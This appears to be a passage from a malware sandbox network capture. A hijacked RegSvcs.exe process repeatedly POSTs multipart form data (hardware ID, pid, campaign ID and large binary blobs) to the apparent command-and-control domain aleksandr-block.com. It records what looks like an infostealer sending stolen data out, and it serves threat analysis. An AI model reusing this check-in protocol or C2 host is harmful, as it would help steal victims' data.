2025-01-14 17:01:14 UTC	1369	IN	Data Raw: 74 55 6c 62 6d 4b 44 39 49 75 67 2f 65 34 71 4f 4c 71 6d 30 66 51 6e 4e 38 49 54 73 45 2f 49 54 57 53 6c 50 76 73 79 72 75 50 4e 31 32 49 32 4d 39 76 66 6a 4b 72 7a 39 32 51 75 37 4f 75 48 39 53 74 6e 67 46 44 38 43 2b 5a 44 66 4f 30 73 2b 43 66 49 74 35 4f 4c 65 6d 34 37 31 75 6e 48 2f 71 4b 31 4a 54 76 73 2f 59 65 30 61 43 33 42 47 4c 38 5a 39 45 51 61 67 33 2b 75 66 64 66 75 79 4e 6c 69 4d 44 53 4e 73 34 2b 6c 36 75 46 62 46 34 65 70 77 66 52 78 4f 4e 55 34 6e 45 2b 35 51 79 76 39 4a 70 6f 79 30 36 44 38 6c 79 55 34 59 73 36 2f 73 71 58 2b 39 57 49 2f 76 65 6a 76 30 46 45 46 6b 54 4b 37 47 72 55 33 49 36 31 76 71 48 2b 58 6f 49 32 5a 59 32 42 36 78 72 48 48 6f 75 47 37 50 58 6e 2b 2f 70 4b 67 50 47 2b 42 41 66 49 57 74 78 56 6b 35 53 7a 74 4d 6f 6d 67 Data Ascii: tUlbmKD9Iug/e4qOLqm0fQnN8ITsE/ITWSlPvsyruPN12I2M9vfjKrz92Qu7OuH9StngFD8C+ZDfO0s+CfIt5OLem471unH/qK1JTvs/Ye0aC3BGL8Z9EQag3+ufdfuyNliMDSNs4+l6uFbF4epwfRxONU4nE+5Qyv9Jpoy06D8lyU4Ys6/sqX+9WI/vejv0FEFkTK7GrU3I61vqH+XoI2ZY2B6xrHHouG7PXn+/pKgPG+BAfIWtxVk5SztMomg
2025-01-14 17:01:14 UTC	1369	IN	Data Raw: 42 36 78 62 48 48 74 4c 43 6a 4a 57 36 69 71 4d 62 77 5a 54 7a 42 44 4c 6f 4d 34 51 42 6a 67 30 43 47 66 35 62 6c 7a 64 35 62 48 67 4f 63 37 34 71 70 39 37 6c 46 4c 72 71 6d 2b 63 31 63 4c 74 51 4f 2f 69 6e 30 46 53 66 39 4d 4f 4e 71 32 37 69 44 2b 47 38 77 4c 35 6e 34 78 59 62 33 37 57 5a 70 34 75 58 44 73 7a 4e 2f 39 68 4f 78 43 76 6b 45 5a 70 78 30 73 33 2b 55 35 34 48 35 59 6a 59 68 31 72 48 48 71 72 43 6a 4a 53 69 6d 74 63 72 38 62 48 50 55 42 4c 74 50 75 55 4d 71 2f 53 62 6a 63 35 48 77 7a 74 5a 69 62 43 53 59 38 63 65 35 76 75 49 6c 50 2b 7a 39 6c 4c 30 72 4c 5a 4e 47 2f 45 6a 30 45 54 61 37 66 62 56 78 33 4e 37 39 39 48 63 6e 4d 70 57 39 74 71 76 30 37 58 41 71 76 4b 4c 35 7a 55 59 74 31 41 36 2f 54 63 59 56 4a 37 31 77 70 44 4c 56 6f 4e 75 5a 50 Data Ascii: B6xbHHtLCjJW6iqMbwZTzBDLoM4QBjg0CGf5blzd5bHgOc74qp97lFLrqm+c1cLtQO/in0FSf9MONq27iD+G8wL5n4xYb37WZp4uXDszN/9hOxCvkEZpx0s3+U54H5YjYh1rHHqrCjJSimtcr8bHPUBLtPuUMq/Sbjc5HwztZibCSY8ce5vuIlP+z9lL0rLZNG/Ej0ETa7fbVx3N799HcnMpW9tqv07XAqvKL5zUYt1A6/TcYVJ71wpDLVoNuZP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49728	188.114.97.3	443	7912	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 17:01:14 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NKJ1O0YHINCT89 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12823 Host: aleksandr-block.com
2025-01-14 17:01:14 UTC	12823	OUT	Data Raw: 2d 2d 4e 4b 4a 31 4f 30 59 48 49 4e 43 54 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 32 31 30 36 45 36 37 35 33 44 38 43 36 37 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 4e 4b 4a 31 4f 30 59 48 49 4e 43 54 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 4b 4a 31 4f 30 59 48 49 4e 43 54 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 55 6b 67 4c 76 2d 2d 50 49 53 59 41 0d 0a 2d 2d 4e 4b 4a 31 4f 30 59 48 Data Ascii: --NKJ1O0YHINCT89Content-Disposition: form-data; name="hwid"FE2106E6753D8C67E2FCF1EEA745798E--NKJ1O0YHINCT89Content-Disposition: form-data; name="pid"2--NKJ1O0YHINCT89Content-Disposition: form-data; name="lid"DUkgLv--PISYA--NKJ1O0YH
2025-01-14 17:01:15 UTC	1132	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 17:01:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i8qfd46bu72nug7p75gedl0qog; expires=Sat, 10 May 2025 10:47:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u8iOjX2gmw5G9rlCf86xBLP0EUvPaPSinnauJ3Uiwupw2Vhp%2FYCxBZjMRNjj7%2Bs3r7%2B13bVtjlOjtJ3N%2FtVN2jpdqDZ7H%2FlD4D0WU3fDCg0N1ZzcSn2SgcqMtxVqtqRQbfMoAMKC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901f2fd809a04283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&min_rtt=1608&rtt_var=604&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13762&delivery_rate=1811414&cwnd=242&unsent_bytes=0&cid=55c1c6b00bcbb8f3&ts=953&x=0"
2025-01-14 17:01:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-14 17:01:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49737	188.114.97.3	443	7912	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 17:01:16 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9ILC58YHXF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15026 Host: aleksandr-block.com
2025-01-14 17:01:16 UTC	15026	OUT	Data Raw: 2d 2d 39 49 4c 43 35 38 59 48 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 32 31 30 36 45 36 37 35 33 44 38 43 36 37 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 39 49 4c 43 35 38 59 48 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 49 4c 43 35 38 59 48 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 55 6b 67 4c 76 2d 2d 50 49 53 59 41 0d 0a 2d 2d 39 49 4c 43 35 38 59 48 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --9ILC58YHXFContent-Disposition: form-data; name="hwid"FE2106E6753D8C67E2FCF1EEA745798E--9ILC58YHXFContent-Disposition: form-data; name="pid"2--9ILC58YHXFContent-Disposition: form-data; name="lid"DUkgLv--PISYA--9ILC58YHXFContent-
2025-01-14 17:01:16 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 17:01:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8f64q8hlj4r9k7o945igciitn0; expires=Sat, 10 May 2025 10:47:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8cyA520YtqGkxjfkBqReG5NDA2ySuyDqdy%2BNY1MOVSekW3VX%2FDoBVKBwkkvidjoFDYLl%2ByQK3vtTAUWwOJCuF3uqZbUkdh77TQ2ANDIW3tb3gdSAGcEcuCp3FkWCtOPYImfU2AJC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901f2fe1eec572b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2025&min_rtt=1781&rtt_var=1157&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15961&delivery_rate=780957&cwnd=172&unsent_bytes=0&cid=4ee0ca01a64644fc&ts=505&x=0"
2025-01-14 17:01:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-14 17:01:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49745	188.114.97.3	443	7912	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 17:01:17 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LXMO8YRWF56EDZ7QNE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20436 Host: aleksandr-block.com
2025-01-14 17:01:17 UTC	15331	OUT	Data Raw: 2d 2d 4c 58 4d 4f 38 59 52 57 46 35 36 45 44 5a 37 51 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 32 31 30 36 45 36 37 35 33 44 38 43 36 37 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 4c 58 4d 4f 38 59 52 57 46 35 36 45 44 5a 37 51 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 58 4d 4f 38 59 52 57 46 35 36 45 44 5a 37 51 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 55 6b 67 4c 76 2d 2d 50 49 53 59 41 Data Ascii: --LXMO8YRWF56EDZ7QNEContent-Disposition: form-data; name="hwid"FE2106E6753D8C67E2FCF1EEA745798E--LXMO8YRWF56EDZ7QNEContent-Disposition: form-data; name="pid"3--LXMO8YRWF56EDZ7QNEContent-Disposition: form-data; name="lid"DUkgLv--PISYA
2025-01-14 17:01:17 UTC	5105	OUT	Data Raw: 00 00 00 00 00 00 60 83 eb 8b 82 f9 0d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 70 fd 51 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e c3 4f 03 00 00 Data Ascii: `?lpQ0/74G6(~`~O
2025-01-14 17:01:17 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 17:01:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rcjmfpbvcpcbf53kl5511sk099; expires=Sat, 10 May 2025 10:47:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LtQ82W9MaRX3NLWAQPKKyOMEw0lf1D8TU%2Bdk6ECrnSXyjC9QYMXwi%2FqH8F7NckgaA2q3PReFOnDmnQWgrqCxU4NBs7q%2BwLhDi36GNrBBcDoDHVm9rmwVRTHSXUGudpcmBivRzirP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901f2fe8a8f0436d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2461&min_rtt=2454&rtt_var=925&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21401&delivery_rate=1189894&cwnd=162&unsent_bytes=0&cid=2e37b7821c4648e6&ts=497&x=0"
2025-01-14 17:01:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-14 17:01:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49751	188.114.97.3	443	7912	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 17:01:18 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M4F5EDKMPZFTEN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1212 Host: aleksandr-block.com
2025-01-14 17:01:18 UTC	1212	OUT	Data Raw: 2d 2d 4d 34 46 35 45 44 4b 4d 50 5a 46 54 45 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 32 31 30 36 45 36 37 35 33 44 38 43 36 37 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 4d 34 46 35 45 44 4b 4d 50 5a 46 54 45 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 34 46 35 45 44 4b 4d 50 5a 46 54 45 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 55 6b 67 4c 76 2d 2d 50 49 53 59 41 0d 0a 2d 2d 4d 34 46 35 45 44 4b 4d Data Ascii: --M4F5EDKMPZFTENContent-Disposition: form-data; name="hwid"FE2106E6753D8C67E2FCF1EEA745798E--M4F5EDKMPZFTENContent-Disposition: form-data; name="pid"1--M4F5EDKMPZFTENContent-Disposition: form-data; name="lid"DUkgLv--PISYA--M4F5EDKM
2025-01-14 17:01:18 UTC	1130	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 17:01:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e0j39n4f3qvfjf7vqk3imub41q; expires=Sat, 10 May 2025 10:47:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ta9GYBPhbXtptbytn4yJU%2BI895wPt6KI14xmx5wdWd121DfqnpNzoqItm%2FKx%2FwP6JZndxrJWKwn9x7B0UgWKFe6vc2opA1Xl%2BsdLsS%2Bq5elNh0ZbYMD5Ccfk1aatT2Ktl5AAZ8dK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901f2fef29cd0f49-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1965&min_rtt=1541&rtt_var=881&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2128&delivery_rate=1894873&cwnd=215&unsent_bytes=0&cid=738ba3f7ec5b826b&ts=471&x=0"
2025-01-14 17:01:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-14 17:01:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49761	188.114.97.3	443	7912	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 17:01:19 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IR3AP3E77 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 590322 Host: aleksandr-block.com
2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: 2d 2d 49 52 33 41 50 33 45 37 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 32 31 30 36 45 36 37 35 33 44 38 43 36 37 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 49 52 33 41 50 33 45 37 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 52 33 41 50 33 45 37 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 55 6b 67 4c 76 2d 2d 50 49 53 59 41 0d 0a 2d 2d 49 52 33 41 50 33 45 37 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --IR3AP3E77Content-Disposition: form-data; name="hwid"FE2106E6753D8C67E2FCF1EEA745798E--IR3AP3E77Content-Disposition: form-data; name="pid"1--IR3AP3E77Content-Disposition: form-data; name="lid"DUkgLv--PISYA--IR3AP3E77Content-Disp
2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: e0 0e b1 87 8e be ae c3 45 1f 3d a6 cc e5 bc 66 3f 6a 60 80 d2 7c 4d 11 23 d0 59 80 79 7b e0 98 a0 3c 73 a8 e5 b7 6f be 29 d5 2c 68 22 65 41 04 09 8b c0 fa 0a bd 1d 51 7e 7e fc c0 52 0d ab 85 eb c0 58 9c 43 6b a6 93 be 28 bf be 29 d2 95 12 ec 88 c0 d8 f7 c0 eb 35 2d ef ee ef ad e6 35 d9 c0 eb 53 3b 98 c3 81 47 c6 94 5c 16 22 e4 f8 81 08 5d bf ce 10 8d f5 4e 60 e6 19 f9 88 a0 38 7b 86 69 2a 31 f0 76 8c c1 99 0e 6b 88 7e 58 b2 97 0f 5c 4e 4a 77 70 c3 81 26 39 8e ad 31 3a 56 24 d3 a1 14 92 55 81 29 22 dc 22 0d aa 1f fb 73 4a 78 dc 17 04 a1 76 49 7a 39 72 a0 98 e1 30 c1 ac e5 49 95 9d 29 cd 78 4a 95 99 8c fa 20 2c cd 28 02 d6 ae 3b d3 45 c5 98 c2 f3 98 79 a3 d4 ed a6 00 17 39 56 bd a3 20 87 b4 26 57 c3 78 90 e1 1d 7c 48 90 4c a2 22 3e 85 77 4b 72 ad 3b 08 d6 Data Ascii: E=f?j`\|M#Yy{<so),h"eAQ~~RXCk()5-5S;G\"]N`8{i*1vk~X\NJwp&91:V$U)""sJxvIz9r0I)xJ ,(;Ey9V &Wx\|HL">wKr;
2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: 32 ab 76 a5 a6 e2 4d 1b e2 4d 65 17 86 35 6a 69 72 18 58 65 8b 3a 6d ae 22 60 af cc 53 10 5f 6d f1 cd 3c 33 d8 6b 1b 42 72 94 35 57 1f 68 1a 73 de 3c 43 15 f0 b0 0c 1a 5c fe c3 a7 d2 54 36 98 2a f4 64 49 fe 37 a6 08 c2 31 83 83 2c d5 09 de 71 8b 56 4a 55 71 bb e8 21 0a c6 99 66 b1 ba 68 12 6a e3 c5 a7 95 ef b2 eb b5 62 37 94 e8 fa 93 f2 0d 77 a7 51 0d 65 e5 db 3a 0b 09 b9 46 1e c4 bd 2a 9f e2 aa f5 44 48 2c af af 26 24 0f 5c 6e 19 56 a2 fb 9f d0 8e b2 ac 15 ae 57 fa d9 ec 2c ba 1a 0e 23 c6 39 f3 88 bb f7 45 6b 9b 1c 0d 0e f2 5d f8 f1 23 74 66 ee 5c 4c c6 7c 89 26 e0 81 a6 a5 bb 96 13 50 a4 d6 57 35 7d 5b 2d 52 c8 df d4 71 87 64 16 d2 bd d9 74 56 10 55 f7 87 dd d7 76 a5 86 90 7d ac d1 54 e7 75 85 b1 46 d4 c4 15 60 f5 90 42 98 23 ac 4a fe 2c 22 9d 71 76 98 Data Ascii: 2vMMe5jirXe:m"`S_m<3kBr5Whs<C\T6dI71,qVJUq!fhjb7wQe:FDH,&$\nVW,#9Ek]#tf\L\|&PW5}[-RqdtVUv}TuF`B#J,"qv
2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: d7 b6 c0 e2 47 db 76 a3 fa 4d 18 8e 79 bb 72 b8 e6 a3 2d 8f f7 43 df cf 1f ce 2a c3 a9 1b d5 92 4c f8 b7 d9 5a af 1e 80 3b a5 09 36 40 45 7a 79 e3 50 38 65 3d ec f0 43 be 14 c6 39 08 65 e6 ee 07 dc 8f f4 59 cc 0a 51 32 ac fe c4 e4 aa 3c 99 6b 54 de 37 d0 f9 d1 b7 e5 92 52 38 53 55 01 eb 33 66 df ba 42 e2 cd 70 db ff ea 58 e5 32 45 22 43 88 0f f7 61 60 91 b1 bc a6 a5 1c 4d 66 7d e6 06 7c a7 ae e3 33 4c 00 36 63 2b 3e cd aa 9d 3d f9 de b5 f8 3a 97 2c b9 c9 69 af bb aa 77 2c ef 62 94 a8 49 a9 8f 9f fb 7c 13 7a 75 cf 6d ca b4 ab 95 14 72 73 fc 03 91 0b e8 73 7f 02 c5 b0 6e c6 4d 0d 84 2a 3d e8 83 67 33 58 dc 0e a5 fb 6b 60 da 49 f1 56 53 65 02 f3 44 03 47 39 8e 72 9c 56 55 44 07 4f 2b a5 ce 05 72 45 e6 53 e1 39 f8 21 ad e6 67 5c ca 5f 55 9f b5 b0 ca a3 5e 06 Data Ascii: GvMyr-CLZ;6@EzyP8e=C9eYQ2<kT7R8SU3fBpX2E"Ca`Mf}\|3L6c+>=:,iw,bI\|zumrssnM=g3Xk`IVSeDG9rVUDO+rES9!g\_U^
2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: e9 3a 03 19 99 41 f2 15 81 da fd 98 78 1a df f4 8a 83 24 49 46 cb 35 2d 3c 8a e4 a9 9c 79 b3 ab 6b 27 ac f4 9d 31 cc ee f0 f9 ad cc f8 95 5b c7 6d d2 a2 c4 8e f2 fc 40 98 c2 c8 fc 37 0e e1 64 ab 39 61 1e d7 93 09 aa 02 82 01 3e a3 22 ef 7e d7 98 7a 9b 58 67 a0 6e 73 8e 28 4a 5c d8 fe e0 6d 99 16 5d aa 9d fc c8 08 75 b7 7b 46 f8 15 87 2b 2c 33 fa 9e 98 ca 87 22 0b 43 dc 69 fd e9 d9 8e 20 d2 15 b6 37 5b 5a f9 ca 90 87 1b 07 46 9b 60 5a 96 58 2d c8 f8 6c bf 9c dc 71 86 1b 87 86 0c 25 5e b6 5a de de e1 23 8a 1e b5 b0 ed c6 4d 62 1a 06 22 1d ff f3 57 ff bf 17 2b 2e b0 36 09 33 47 41 ca 15 44 7d c0 2d a4 16 12 54 9e 1b 4e 25 a0 c8 10 bf 63 67 a3 a7 68 4d ad 3c 02 99 f0 3a 2c 40 4e cb ce 73 7d e6 05 b7 b8 bc cf 85 a3 af e2 de 52 be 35 be bc 5f 24 fd df 0d ee f4 Data Ascii: :Ax$IF5-<yk'1[m@7d9a>"~zXgns(J\m]u{F+,3"Ci 7[ZF`ZX-lq%^Z#Mb"W+.63GAD}-TN%cghM<:,@Ns}R5_$
2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: 69 79 19 f1 fa ce 51 70 da c7 59 6a d3 02 98 d0 63 43 4b 79 85 f6 86 87 bb a4 27 ee c4 5c af fc f0 09 ab 52 55 13 fc 94 52 80 dd ef 8d b8 7b d8 17 dc f9 dd f3 bd 95 5d 14 ec b5 ab ba dd 1c 6c 12 4e 55 62 b5 6f 7a 0a f2 b6 b6 b2 2c 36 63 b1 5e 97 85 3f 9d b2 d8 75 72 a2 07 ce b0 9c 77 9f c1 ed be 27 bc f2 b6 3e 8c 27 b9 74 f1 9a d0 b3 2e 67 e1 b9 89 58 84 df 41 3c 1e ef 94 66 a0 87 0e 4d e1 77 95 8a f9 6a cb 98 fa f3 a2 2f 8c 0b 48 70 bf 53 c3 f9 00 79 2b 96 fe 61 57 8a 6c fa f4 42 67 f0 50 51 a1 e3 8e 8c 51 d8 e9 7c e5 93 52 b8 36 2e ac c7 2f ab b6 be 53 a4 59 41 4b ab f4 a7 31 51 80 fa d7 f9 73 c2 bb 57 d0 94 ca ac bd 23 b3 44 95 fc af cf 0a ed f5 62 fb 23 39 11 41 a7 4e b2 cd aa 9d cf eb 15 b4 5e 23 7b b4 12 10 46 50 b0 e8 2a c4 e8 2b 0f 3b f5 d3 6d bc Data Ascii: iyQpYjcCKy'\RUR{]lNUboz,6c^?urw'>'t.gXA<fMwj/HpSy+aWlBgPQQ\|R6./SYAK1QsW#Db#9AN^#{FP*+;m
